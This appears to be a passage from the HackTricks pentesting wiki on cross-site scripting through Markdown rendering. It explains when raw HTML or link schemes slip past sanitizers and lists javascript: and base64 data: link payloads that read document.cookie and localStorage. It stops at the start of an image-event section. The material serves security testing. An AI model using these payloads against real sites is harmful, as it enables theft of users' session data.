---
title: "XSS in Markdown"
section: "Web Pentesting"
sectionSlug: "pentesting-web"
sourcePath: "src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md"
sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md"
sha: "188de82beb54e70956b2952367a0af91d26758b8"
isIndex: false
modified: true
license: "CC-BY-NC-4.0"
---
# XSS in Markdown
If attacker-controlled Markdown is rendered as HTML, test whether the parser and sanitizer combination allows XSS. Behavior varies by implementation and configuration; CommonMark permits raw HTML unless the application disables or sanitizes it.[[2]](#references)
### HTML tags
The most direct case is raw HTML accepted by the Markdown parser and passed to the browser without appropriate sanitization.[[2]](#references)[[3]](#references)
```html
```
You can find more examples in the [main XSS page of hacktricks](/hacktricks/pentesting-web/xss-cross-site-scripting/overview).
### Javascript links
If raw HTML is blocked, test how the renderer validates link destinations and dangerous URL schemes:[[3]](#references)
```html
[a](javascript:prompt(document.cookie))
[Basic](javascript:alert('Basic')) [Local
Storage](javascript:alert(JSON.stringify(localStorage)))
[CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))
[URL](javascript://www.google.com%0Aalert('URL')) [In
Quotes]('javascript:alert("InQuotes")') [a](j a v a s c r i p
t:prompt(document.cookie))
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)
```
### Img event syntax abuse
```markdown

![Uh oh...](